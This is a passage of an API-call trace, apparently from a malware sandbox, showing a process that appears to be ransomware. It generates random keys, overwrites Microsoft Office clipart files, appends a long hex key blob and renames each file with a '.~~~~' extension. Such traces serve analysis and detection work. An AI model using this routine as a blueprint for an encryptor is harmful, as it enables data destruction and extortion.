	[0090.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1fe8 | out: hHeap=0x300000) returned 1
	[0090.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37eae0
	[0090.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.062] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.062] GetLastError () returned 0x0
	[0090.063] GetLastError () returned 0x0
	[0090.063] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.063] GetLastError () returned 0x0
	[0090.063] GetLastError () returned 0x0
	[0090.066] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffd314, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.066] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2cec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x2cec, lpOverlapped=0x0) returned 1
	[0090.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.067] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.067] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.067] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.067] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.067] CloseHandle (hObject=0x118) returned 1
	[0090.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.067] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.~~~~")) returned 1
	[0090.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.068] GetLastError () returned 0x0
	[0090.068] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.069] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.069] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.069] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21005918897) returned 1
	[0090.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f7c17f0, dwHighDateTime=0x1d60e1e)) 
	[0090.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fef0
	[0090.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fef0 | out: hHeap=0x300000) returned 1
	[0090.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28accf8
	[0090.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ef08
	[0090.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28accf8 | out: hHeap=0x300000) returned 1
	[0090.106] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.106] GetLastError () returned 0x0
	[0090.106] GetLastError () returned 0x0
	[0090.107] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.107] GetLastError () returned 0x0
	[0090.107] GetLastError () returned 0x0
	[0090.118] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffb3ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.118] WriteFile (in: hFile=0x118, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x4c14, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x4c14, lpOverlapped=0x0) returned 1
	[0090.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.121] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.121] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.121] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.121] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.121] CloseHandle (hObject=0x118) returned 1
	[0090.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ace48
	[0090.151] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.~~~~")) returned 1
	[0090.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ace48 | out: hHeap=0x300000) returned 1
	[0090.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.152] GetLastError () returned 0x0
	[0090.153] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395960) returned 1
	[0090.153] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.153] CryptReleaseContext (hProv=0x395960, dwFlags=0x0) returned 1
	[0090.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.154] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21014371978) returned 1
	[0090.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f833c10, dwHighDateTime=0x1d60e1e)) 
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37ff28
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ff28 | out: hHeap=0x300000) returned 1
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ace48
	[0090.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0090.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ace48 | out: hHeap=0x300000) returned 1
	[0090.154] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.154] GetLastError () returned 0x0
	[0090.154] GetLastError () returned 0x0
	[0090.154] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.154] GetLastError () returned 0x0
	[0090.155] GetLastError () returned 0x0
	[0090.158] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff2ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.158] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xd16, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0xd16, lpOverlapped=0x0) returned 1
	[0090.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.158] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.158] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.158] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.159] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.159] CloseHandle (hObject=0x11c) returned 1
	[0090.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0090.159] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.~~~~")) returned 1
	[0090.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc708 | out: hHeap=0x300000) returned 1
	[0090.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.159] GetLastError () returned 0x0
	[0090.160] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.161] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.161] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.161] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21015095519) returned 1
	[0090.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f859d70, dwHighDateTime=0x1d60e1e)) 
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37ff60
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ff60 | out: hHeap=0x300000) returned 1
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28accf8
	[0090.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0090.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28accf8 | out: hHeap=0x300000) returned 1
	[0090.161] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.162] GetLastError () returned 0x0
	[0090.162] GetLastError () returned 0x0
	[0090.162] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.162] GetLastError () returned 0x0
	[0090.162] GetLastError () returned 0x0
	[0090.211] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8eb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.211] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x714c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x714c, lpOverlapped=0x0) returned 1
	[0090.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.212] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.212] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.212] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.212] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.212] CloseHandle (hObject=0x11c) returned 1
	[0090.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.~~~~")) returned 1
	[0090.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.213] GetLastError () returned 0x0
	[0090.213] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.214] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.214] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.215] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21020466672) returned 1
	[0090.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f8cc190, dwHighDateTime=0x1d60e1e)) 
	[0090.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0090.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0090.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0090.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380120
	[0090.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380120 | out: hHeap=0x300000) returned 1
	[0090.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37f0d0
	[0090.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.215] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.215] GetLastError () returned 0x0
	[0090.215] GetLastError () returned 0x0
	[0090.216] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.216] GetLastError () returned 0x0
	[0090.216] GetLastError () returned 0x0
	[0090.218] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdf52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.218] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x20ae, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x20ae, lpOverlapped=0x0) returned 1
	[0090.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.218] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.218] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.219] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.219] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.219] CloseHandle (hObject=0x11c) returned 1
	[0090.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.~~~~")) returned 1
	[0090.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0090.220] GetLastError () returned 0x0
	[0090.220] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0090.221] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.221] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.221] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21021138206) returned 1
	[0090.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9f8cc190, dwHighDateTime=0x1d60e1e)) 
